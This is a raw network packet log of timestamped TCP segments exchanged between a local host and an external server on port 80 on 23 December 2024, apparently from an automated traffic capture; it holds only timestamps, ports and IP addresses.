Dec 23, 2024 08:31:44.118791103 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.118860006 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.119697094 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.119735956 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.119797945 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.120637894 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.120676994 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.120721102 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.121627092 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.121665955 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.121738911 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.121994972 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.122649908 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.122695923 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.122761011 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.123651028 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.123691082 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.123857021 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.124697924 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.124732018 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.124743938 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.125675917 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.125741005 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.125823975 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.126707077 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.126748085 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.126831055 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.127737045 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.127783060 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.127876997 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.128750086 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.128797054 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.128860950 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.129761934 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.129801035 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.129864931 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.130825996 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.130865097 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.130923986 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.131814957 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.131865025 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.131922960 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.132823944 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.132864952 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.132921934 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.133868933 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.133924961 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.134002924 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.134901047 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.134948015 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.134948969 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.147206068 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.273997068 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.274039984 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.274091959 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.274256945 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.274333000 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.274373055 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.275271893 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.275419950 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.275460958 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.276345968 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.276418924 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.276495934 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.277328014 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.277432919 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.277472973 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.278337002 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.278449059 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.278491020 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.279340982 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.279500961 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.279546022 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.280385017 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.280505896 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.280548096 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.281402111 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.281476021 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.281518936 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.282428026 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.282546043 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.282588959 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.283443928 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.283569098 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.283607006 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.284456968 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.284575939 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.284621000 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.285478115 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.285598040 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.285643101 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.286536932 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.286655903 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.286700964 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.287532091 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.287652016 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.287693977 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.288552999 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.288672924 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.288727045 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.289577007 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.289675951 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.289731979 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.290585995 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.290699959 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.290746927 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.291625023 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.291723967 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.291759014 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.292623997 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.292745113 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.292788029 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.293658018 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.293752909 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.293792009 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.294675112 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.294776917 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.294819117 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.295687914 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.295797110 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.295842886 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.296705961 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.296808958 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.296852112 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.297736883 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.297827959 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.297871113 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.298759937 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.298865080 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.298911095 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.299796104 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.299911976 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.299959898 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.300791979 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.300911903 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.300956011 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.301817894 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.301923037 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.301971912 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.302831888 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.302930117 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.302972078 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.303845882 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.303977966 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.304022074 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.304883003 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.304990053 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.305030107 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.305924892 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.306008101 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.306047916 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.306926966 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.307044029 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.307084084 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.307939053 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.308053970 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.308100939 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.308958054 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.309053898 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.309097052 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.309962988 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.310089111 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.310129881 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.310998917 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.311054945 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.311098099 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.312010050 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.312124968 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.312192917 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.313054085 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.313155890 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.313198090 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.314085007 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.314115047 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.314157963 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.315089941 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.315120935 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.315161943 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.316108942 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.316229105 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.316272020 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.317168951 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.317255974 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.317297935 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.318130016 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.318262100 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.318306923 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.319159985 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.319267035 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.319328070 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.320183039 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.320291042 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.320334911 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.321207047 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.321320057 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.321363926 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.322230101 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.322340965 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.322382927 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.323266983 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.323307037 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.323355913 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.324286938 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.324405909 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.324446917 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.325297117 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.325395107 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.325438023 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.326320887 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.326416969 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.326467991 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.327334881 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.372457027 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.459526062 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.466109991 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.466216087 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.466257095 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.466617107 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.466846943 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.466888905 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.466928959 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.467807055 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.467844009 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.467901945 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.468827009 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.468864918 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.468913078 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.469827890 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.469863892 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.469938040 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.470853090 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.470909119 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.470944881 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.471893072 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.471930981 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.472009897 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.472903967 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.472965002 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.473031044 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.473951101 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.473993063 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.474060059 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.474925995 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.474961996 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.475030899 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.475969076 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.476006031 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.476057053 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.477001905 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.477051973 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.477102041 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.478005886 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.478045940 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.478101015 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.479017019 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.479060888 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.479129076 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.480060101 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.480101109 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.480115891 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.481059074 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.481097937 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.481168032 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.482093096 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.482139111 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.482186079 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.483113050 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.483149052 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.483211994 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.484179020 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.484226942 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.484313011 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.485163927 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.485203028 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.485250950 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.486149073 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.486196041 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.486264944 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.487227917 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.487267017 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.487359047 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.488261938 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.488298893 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.488378048 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.489222050 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.489252090 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.489341974 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.490256071 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.490294933 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.490375042 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.491269112 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.491307020 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.491391897 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.492295980 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.492331982 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.492368937 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.493329048 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.493364096 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.493415117 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.494333029 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.494368076 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.494405031 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.495341063 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.495377064 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.495441914 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.496427059 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.496460915 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.496515989 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.497395039 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.497431040 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.497530937 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.498424053 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.498460054 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.498522997 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.499437094 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.499491930 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.499557018 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.500435114 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.500473976 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.500540018 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.501457930 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.501504898 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.501565933 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.502490997 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.502528906 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.502645016 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.503506899 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.503546953 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.503653049 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.504528046 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.504566908 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.504877090 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.505548954 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.505587101 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.505656958 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.506561995 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.506597996 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.506671906 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.507594109 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.507631063 CET	49714	80	192.168.2.8	185.215.113.16
